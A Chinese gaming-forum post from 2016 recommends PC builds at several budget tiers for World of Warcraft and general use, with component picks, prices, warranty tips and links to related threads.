关于CPU盒装和散片的差别在于是否是正规质保,原盒是3年质保(要留好包装和散热器),而散片(无散热器,就一个CPU)大多是店铺质保一年(需要注意国内OEM厂商散片是质保三年的),所以新手买散片尽量从本地电脑城购买,淘宝买风险比较大,一旦出问题扯起皮来很麻烦。

兔大师(枫子兔,硬件区里疯狂积累人品的兔子)详解INTEL系列CPU补充:
包括WOW在内的大型网游里,建筑和NPC的建模、游戏AI运算、游戏内各种数据计算、游戏插件计算,这些工作都需要CPU来做.显卡只负责特效部分,但显卡特效是可以根据实际情况调整的,这部分其实不是什么事儿.越是满地人/NPC、各种建筑、密密麻麻的花花草草、各种飘数字的地儿,CPU的压力就越大. CPU的整体性能决定了大型网游里高负荷场景下的最低帧数水平.对于CPU的要求,无非就是:同频率的CPU更依赖架构效率也就是核心效能;同架构效率下更依赖CPU主频;大量AI运算需要大容量低延迟高命中率的共享缓存.
i5 和 E3/i7的选择问题:i5 和 E3/i7 的选择取决于你的实际需求. 以日常应用和游戏为主,上i5就没压力.
如果你日常有 一定工作量 的渲染/建模/转码/作图、工作室级别极限多开游戏,HT超线程技术就能发挥比较大的用处,就有必要上E3/i7.
别说什么i5 E3一样价,中文原封、行货带散热器官方三年保 和 散片、水货店家一年保 是没有可比性的. E3 V3中文原封什么价京东自己查.
只有你有上述那些使用需求的前提下,加上E3相比同功能的i7不带k散片的价格差(少了核显),E3才有性价比.
需要正规发票/增票的且需要走B2C可以选i7不带k. 在此需求基础上想要超频的,就选i7带k.
如果没有上述需求,选E3那就是基本白扔300块的节奏. 说什么为将来打算的,准备开工作室极限多开挂机当然没问题,但其它的那些专业应用、除非你准备0基础起步换行业,否则也是用不到.但是强迫症、不差钱、无脑跟风的,那就只好慢走不送了.

主板:低端买G3258+B85,中低端可以买I3 6100+B150,中端6500+B150,中高端性价比搭配选4690K/E3V3/4790K+一线B85组合( 新E3 1230 V5需要搭配X150才可以,性价比比原来低了一些),高端的考虑6700K+一线精良做工的Z170,发烧可上X99平台。具体选购细节可以看下网友black_hawk写的[/read.php?tid=7739622]

内存:不超频直接电商买金士顿不纠结,正品金士顿的内存条兼容性做的很好。实体店千万别买金士顿普条(fury和savage等马甲条可买),选芝奇,威刚或者金邦的。DDR4方面建议2400的即可,高频还是处于比较高的价格。另外如果搭配华硕X99主板,则不建议选择芝奇内存,考虑性价比选择金士顿,考虑逼格则选择海盗船统治者。

显卡:因为6.0大幅提高了显存占用,建议最好用2G或更大显存的显卡。6.1再次大幅提升了显卡需求,对N卡有了优化,建议纯WOW玩家买N卡。
N卡低端买750,800以内买750TI(2G版本),950如降到950块左右可以买,1200-1500元买960,2200左右买970,3000出头买980,土豪买980TI,泰坦X。切记610,630,640,720,730等等是垃圾。。游戏建议750起。
A卡现在低端各种缺货不给力,直接中端1100左右买370X,中高端1500左右买4G版本380,再往上能耗比太低,还是买N卡吧。喜欢三年保又不在乎价格的可以考虑华硕、微星、技嘉。54XX 55XX,64XX,65XX,66XX是垃圾~~~另外R250性价比低也不建议购买。

机械硬盘:非存储专用别买西数绿盘,会影响游戏体验,尽量买蓝盘,黑盘意义不大,噪音反而会大。长期开机和监控录像类建议用企业级,数据安全第一,别光看省钱。500G和1TB价差很小了,直接上单碟1TB的,希捷西数都看脸,随便选吧。

SSD(固态硬盘): SSD只会改善读蓝条速度,不会影响游戏帧数!!另外没事别折腾固态硬盘的固件,除非这个固件已经得到广大小白鼠和大神的验证!!建议预算低买OCZ arc100(120G 379元,240G 599元),预算足且要求性能和质保给力就买INTEL 730(目前只有淘宝有了)。
SSD选购贴[/read.php?tid=7442061],非本人贴,请问开贴人。

电源:首选台系或台系代工电源 !!尽量网购!!详情请看菲娅大师的讲解[/read.php?tid=6131614&_fp=3]
主要推荐的是台达NX350(如无货则考虑安钛克VP350P,注意安钛克是两年质保了,比一般少一年) RS450 NX550,全汉的RA、经典PLUS和AS系列,海韵G,X,P系列,不考虑性价比可选择海盗船高端的RM及以上系列。

机箱:机箱板材(SECC SPCC区别自己百度)外观、内部设计、做工、导热风道、免工具设计、防尘静音设计、风扇集线器/调速器、喷漆品控、前面板接口、按键材质质量、前面板延长线线径等等,一样可以天差地别,所以硬件区经常会标配200元+的机箱。

显示器:为了大家的眼睛,请不要选择20,21.5这几个尺寸的显示器,点距太小!!大家切记,别只为省钱损害健康!!18.5的是分辨率不给力,也不推荐购买。想买16比9的就买23或者27的,想买16比10就买22或24的,再大尺寸看个人喜好了,但是一般显示器尺寸越大,标准分辨率越高,对机器的配置的需求也越高!!
网友sujkypc的研究帖子[/read.php?tid=6204856&_fp=3]

外设各有所爱,希望大家去实体店体验再决定购买!!实体店价格坑爹的话试好手感走商城网购!!

注意:
关于AMD显卡VPU重置或者驱动未响应的问题,兔子的贴[/read.php?tid=4923570&_fp=1]

更新记录:
2016年5月23日:7周年发帖,逐渐更新618配置。
2016年6月02日:更新部分配置,详细实时活动讨论帖见此贴 [/read.php?tid=9395325]

3000元级(办公,普通家庭应用)
———————————————————————————————————————–
解析:这个价位3000带显示器基本都是入门配置,但是价格低并不代表性能低下。如果平时只看看股票、上上网、看电影、玩普通的网页游戏和网络游戏(大话,梦幻2D)的话,这套配置完全可以胜任!!另外伪办公配置,大家懂得,想玩WOW自己加显卡就是,但是需要注意4系列6系列主板不支持XP。
老平台的优势在于G3258可以超频,随便超一下4-4.2G还是完全胜过G4400的,当然G4400的核显要比G3258的核显强。如何取舍看各位选择了。

注:此配置在G32XX-I3全系列CPU下,可过3C。G3258超频主频不同,没法提交。

CPU:INTEL G3258盒 459元(公司不让买超频的用G3250)
主板:技嘉B85M-D3V-A 449元(带打印口,备选华硕B85M-D PLUS 439元带打印口)
内存:金士顿 DDR3 1600 8G 189元 (备选芝奇Ripjaws DDR3 1600 8G 199元特价,实体店别买金士顿普条)
硬盘:希捷1TB或西数蓝盘1TB 319元(质量都是完全看脸)
光驱:先锋DVR-221CHV 125元(不需要就不选)
机箱:酷冷毁灭者经典U3版 229元
电源:台达NX350 219元(备选安钛克VP350 219元 )
键鼠:自选
显示器:IPS漏光比TN严重,可视角度比TN好,MVA处于两者之间,个人取舍吧
IPS屏 AOC I2476VWM 739元(满100-10块后的价格,16比9 IPS屏备选戴尔P2314H 1089元 也是满100-10块后的价格)
备选
MVA屏 明基(BenQ)EW2440ZH 819元(满100-10块后的价格)
共计:3000元左右

注:此配置在G系列-I3全系列CPU下,可过3C。

SKYLAKE新平台低端入门配置(以后可以自己加个显卡玩点网游)
CPU:INTEL G4400盒 419元
主板:华擎B150M-HDV 499元(备选技嘉H110M-DS2,H110价格都还是比较贵的,性价比不高)
内存:金士顿 DDR4 2133 8G 199元
硬盘:希捷1TB或西数蓝盘1TB 319元(质量都是完全看脸)
光驱:先锋DVR-221CHV 125元(不需要就不选)
机箱:酷冷毁灭者经典U3版 229元
电源:台达NX350 219元(备选安钛克VP350 219元 )
键鼠:自选
显示器:IPS漏光比TN严重,可视角度比TN好,MVA处于两者之间,个人取舍吧
IPS屏 AOC I2476VWM 739元(满100-10块后的价格,16比9 IPS屏备选戴尔P2314H 1089元 也是满100-10块后的价格)
备选
MVA屏 明基(BenQ)EW2440ZH 819元(满100-10块后的价格)

4000元配置,低阴影,关AA,SSAO和反射流畅玩WOW。用G3258的可参考本人类似作业含超频教程[/read.php?tid=7421884]
另外如果用G3258超频不要用WIN10操作系统,切记!
解析:老平台和新平台实际性能差不多,6100的核显还是比4170的强。
注:此配置可过3C。

CPU:4170散片 650元(想玩超频的可以玩玩G3258,不过仅仅做为过渡吧,后面还是得上I5玩游戏)
散热:采融B48 99元(备选九州风神 玄冰400)
主板:技嘉B85M-D3H 499元(现在为rev1.2版本了,没有缩水,2.0已经被憋回去了,大家放心购买,备选华硕B85M-E R2.0 469元 这个买REV2.0版本,别买1.0版本 )
内存:金士顿 DDR3 1600 8G 219元(备选芝奇Ripjaws DDR3 1600 8G 199元特价,实体店别买金士顿普条)
显卡:华硕750TI 2G圣骑士 819元 (备选技嘉GV-N75TD5-2GI GTX750Ti 819元)
硬盘:希捷1TB或西数蓝盘1TB 319元(质量都是完全看脸)
光驱:先锋DVR-221CHV 125元(不需要就不选)
机箱:酷冷毁灭者经典U3版 229元
电源:台达 NX350 219元(备选安钛克VP350 219元 )
键鼠:自选
显示器:IPS漏光比TN严重,可视角度比TN好,MVA处于两者之间,个人取舍吧
IPS屏 AOC I2476VWM 739元(满100-10块后的价格,16比9 IPS屏备选戴尔P2314H 1089元 也是满100-10块后的价格)
备选
MVA屏 明基(BenQ)EW2440ZH 819元(满100-10块后的价格)

SKYLAKE新I3配置
注:此配置可过3C。

CPU:INTEL I3 6100 散片 680元左右
散热:采融B48 99元(备选九州风神 玄冰400)
主板:华硕B150M-PLUS 699元(京东送内存或散热的价)
技嘉B150M-D3H 599元(特价,一般也是699送内存或者散热)
内存:金士顿 DDR4 2133 8G 199元
显卡:华硕750TI 2G圣骑士 819元 (备选技嘉GV-N75TD5-2GI GTX750Ti 819元)
硬盘:希捷1TB或西数蓝盘1TB 319元(质量都是完全看脸)
光驱:先锋DVR-221CHV 125元(不需要就不选)
机箱:酷冷毁灭者经典U3版 229元
电源:台达 NX350 219元(备选安钛克VP350 219元 )
键鼠:自选
显示器:IPS漏光比TN严重,可视角度比TN好,MVA处于两者之间,个人取舍吧
IPS屏 AOC I2476VWM 739元(满100-10块后的价格,16比9 IPS屏备选戴尔P2314H 1089元 也是满100-10块后的价格)
备选
MVA屏 明基(BenQ)EW2440ZH 819元(满100-10块后的价格)

6000元性价比配置(主流网游高效果没啥问题,这个价位段基本没法什么追求配色,侧不侧透无所谓,加不加固态看大家预算了。)
本人类似作业,老i5和E3V3对比[/read.php?tid=7479566]
解析:新老I5 4590和6500对于玩家来说基本没什么感觉,目前两套配置价格基本相当了,建议I5可以用skylake配置,E3用老配置

6000左右 skylake新平台 I5 配置(加不加固态看大家预算,也可以后面再加) 注:此配置可过3C,如用机箱QT01侧透无法过。并不是机箱不好,是3C标准下,带侧透的都无法提交通过。所以即使DELL外星人也不是侧透。

CPU:I5 6500/6600散片 1200-1300元
散热:采融B48 99元(备选九州风神玄冰400 99元)
主板:华硕B150M-PLUS 699元(京东送内存或散热的价)
技嘉B150M-D3H 599元(特价,一般也是699送内存或者散热)
显卡:技嘉960WF 4G 1499元 (华硕猛禽STRIX 960 4G 1499元 逐渐用4G代替)
内存:金士顿 FURY DDR4 2400 8G 229元
固态:金士顿HyperX Fury 240G 499元
硬盘:希捷1TB或西数蓝盘1TB 319元(质量都是完全看脸)
机箱:酷冷毁灭者经典U3版 229元(预算足可选择QT01)
电源:全汉经典PLUS450 329元(RA系列逐渐停产,备选台达RS450 329元)
光驱:先锋DVR-221CHV 125元(不需要就不选)
键鼠:自选
显示器:IPS漏光比TN严重,可视角度比TN好,MVA处于两者之间,个人取舍吧
IPS屏 AOC I2476VWM 739元(满100-10块后的价格,16比9 IPS屏备选戴尔P2314H 1089元 也是满100-10块后的价格)
备选
MVA屏 明基(BenQ)EW2440ZH 819元(满100-10块后的价格)
共计:6000元左右

渲染多开党用这个配置(加不加固态看大家预算)
注:此配置通过兼容性认证,未提交3C认证。

CPU:E3 1231V3 1450元
散热器:
采融B48 99元(非常容易拆装)
九州风神玄冰400 99元(散热好点,但是不易拆装)

主板:技嘉B85M-D3H 499元(现在为rev1.2版本了,没有缩水,2.0已经被憋回去了,大家放心购买,备选华硕B85M-E R2.0 469元 这个买REV2.0版本,别买1.0版本)
显卡:技嘉960WF 4G 1499元 (华硕960 strix战枭版4G 1499元 2G版本960陆续停产,逐渐用4G代替)
内存:金士顿 DDR3 1600 8G 219元(备选芝奇Ripjaws DDR3 1600 8G 199元特价,实体店别买金士顿普条)
硬盘:希捷1TB或西数蓝盘1TB 319元(质量都是完全看脸)
机箱:酷冷毁灭者经典U3版 229元(预算足可选择QT01)
电源:全汉经典PLUS450 329元(RA系列逐渐停产,备选台达RS450 329元)
光驱:先锋DVR-221CHV 125元(不需要就不选)
键鼠:自选
显示器:IPS漏光比TN严重,可视角度比TN好,MVA处于两者之间,个人取舍吧
IPS屏 AOC I2476VWM 739元(满100-10块后的价格,16比9 IPS屏备选戴尔P2314H 1089元 也是满100-10块后的价格)
备选
MVA屏 明基(BenQ)EW2440ZH 819元(满100-10块后的价格)
共计:6000元

分水岭:以下带K CPU配置,均可通过兼容性认证,但是由于机箱侧板问题和配件物料更新太快,均未提交3C认证。

6000-7000+配置(网游1080下特效全开,更适合WOW类副本和大型团战,单机中高特效)

红黑配色
CPU:I5 4690K散片(工作有渲染需求也可用E3V3散片)/ i7 4790K散片 1400元/2000元
主板:华硕B85PRO GAMER 699元
散热:采融B81 208元(追求外观就单独买,不追求的话也可以买套装)
内存:金士顿fury ddr3 1600 8G 229元(B85只能让内存跑在1600频率上)
显卡:华硕960strix 4G 1499元
硬盘:希捷1TB或西数蓝盘1TB 289元(质量都是完全看脸,预算够又追求速度的上SSD)
电源:台达NX550 499元
机箱:迎广703 349元(红黑,预算高可上H440红黑版)
显示器:IPS漏光比TN严重,可视角度比TN好,MVA处于两者之间,个人取舍吧
IPS屏 AOC I2476VWM 739元(满100-10块后的价格,16比9 IPS屏备选戴尔P2314H 1089元 也是满100-10块后的价格)
备选
MVA屏 明基(BenQ)EW2440ZH 819元(满100-10块后的价格)

绿白配色
CPU:I5 4690K散片(工作有渲染需求也可用E3V3散片)/ i7 4790K散片 1400元/2000元
主板:技嘉G1 sniper B6 699元(注意鲁大师识别为b5-cf,别误认为是假货)
散热:采融B81 208元(追求外观就单独买,不追求的话也可以买套装)
内存:金士顿 fury ddr3 1600 8G 229(B85只能让内存跑在1600频率上)
显卡:技嘉960WF 4G 1499元
硬盘:希捷1TB或西数蓝盘1TB 289元(质量都是完全看脸,预算够又追求速度的上SSD)
电源:台达NX550 499元
机箱:恩杰H240 389元(预算高可上S340或H440白色版)
显示器:IPS漏光比TN严重,可视角度比TN好,MVA处于两者之间,个人取舍吧
IPS屏 AOC I2476VWM 739元(满100-10块后的价格,16比9 IPS屏备选戴尔P2314H 1089元 也是满100-10块后的价格)
备选
MVA屏 明基(BenQ)EW2440ZH 819元(满100-10块后的价格)

9000-10000元区间 SKYLAKE 带K配置 特别注意:618时NV新卡可能就可以买到了,不急的朋友可以等1070和1080上架!!
解析:用稍微低一级别的Z170一线大厂主板,考虑U体质不同,散片价格低,所以尽量控制在4.4-4.5安全范围之内,日常应用稳定即可,不要频繁用软件拷机!

skylake 6600K/6700K 不大幅超频配置(超频幅度控制在4.4-4.5G)
CPU:I5 6600K 散片 1500元 / I7 6700K 散片 2100-2200元
主板:
华硕Z170-A 1099元
技嘉Z170X-UD3 1099元

散热器:采融B81 208元(非常容易拆装,搭配侧透机箱好看)
显卡:等970降价或NV新卡1070上市
内存:主板赠送(如果不赠送了可选金士顿fury ddr4 2400 8G 229元)
SSD:OCZ Vector180 240G 629元
机械硬盘:自己酌情添加。
机箱:恩杰H440 549元(特价时可499元)
电源:台达NX550 499元(备选海韵G550 全汉AS550 不求性价比的选海盗船RM550X)
光驱:先锋DVR-221CHV 125元
键鼠:自选
显示器:
DELLU2414H 1399(满100-10块最低价,16比9,建议自备HDMI线材)
DELLU2415 1999(16比10)
总价 9000-10000元

11000-13000+级别 skylake平台,6700K实际性能和4790K差不多,虽然超频电压会高点,但是温度会低一些。 显卡方面我个人认为选择1070会更有性价比,有更高游戏需求的玩家可加钱升级显卡到1080。

CPU:I7 6700K 2599元(京东自营原盒价格,散片2100-2200之间,不大幅超频可入)

散热器:采融B81 208元(非常容易拆装,搭配侧透机箱好看)

主板:(二选一,根据自己喜好和配色选吧)
华硕Z170progaming 1499元
技嘉Z170X-Gaming 5 1499元

显卡:NV新卡1070 预计3299左右(预算足直接1080 5399预定)

内存:选金士顿fury ddr4 2400 8G 239元(觉得小了可以自行再添加8G)
SSD:饥饿鲨(OCZ) Vector180 240G 629元
机械硬盘:自己酌情添加。
机箱:恩杰H440 549元(根据自己配色选黑或者白 H440没有光驱位,特别注意)
电源:台达NX550 499元(备选海韵G550 全汉AS550 海盗船RM550,如用980TI则要选择海盗船RM650或海韵X650)
光驱:先锋DVR-221CHV 125元
键鼠:自选
显示器:
DELLU2414H 1599(16比9,建议自备HDMI线材)
DELLU2415 1999(16比10)

配置贴历史链接:
配置贴第一帖 [/read.php?tid=2411978&_fp=3&forder_by=postdatedesc] (09年5月23日-10年7月3日)
配置贴第二贴 [/read.php?tid=3459224] (10年7月3日-11年5月22日)
配置贴第三贴 [/read.php?tid=4274774&_fp=5] (11年5月23日-12年5月22日)
配置贴第四贴 [/read.php?tid=5183044&_fp=4] (12年5月23日-13年5月22日)
配置贴第五贴 [/read.php?tid=6251146&_fp=2] (13年5月23日-14年5月23日)
配置贴第六贴[/read.php?tid=7088772](14年5月23日-15年5月23日)
配置贴第七贴[/read.php?tid=8192610](15年5月23日-16年5月23日)

WOW优化贴:
WOW6.1视频高级设置介绍[/read.php?tid=7893363]
WOW最优化攻略终极版,专治各种游戏帧数不服不正常 6.0版本[/read.php?tid=7622866]
WOW最优化攻略终极版,专治各种游戏帧数不服不正常(最老版本) [/read.php?tid=6120346&page=1]

外设类:
求人不如求己,自己研究电脑桌椅的一点心得[/read.php?tid=4267632&_fp=1]
人工学座椅长期体验对比贴 [/read.php?tid=8116474&_fp=2]

杂项问题:
DDR3 1333/1600如何设置的图片教程以及我的参考建议(内存小参讲解设置以及优化指南)[/read.php?tid=3147679&_fp=7]

天大的散热专题:百元散热以及安装视频 [/read.php?tid=8276621]

轮子妈的阉割版系统帖子,skylake平台可直接U盘安装(不过不适合4代以前的平台装系统) [http://nga.178.com/read.php?tid=9272958]

http://bbs.ngacn.cc/read.php?&tid=9363428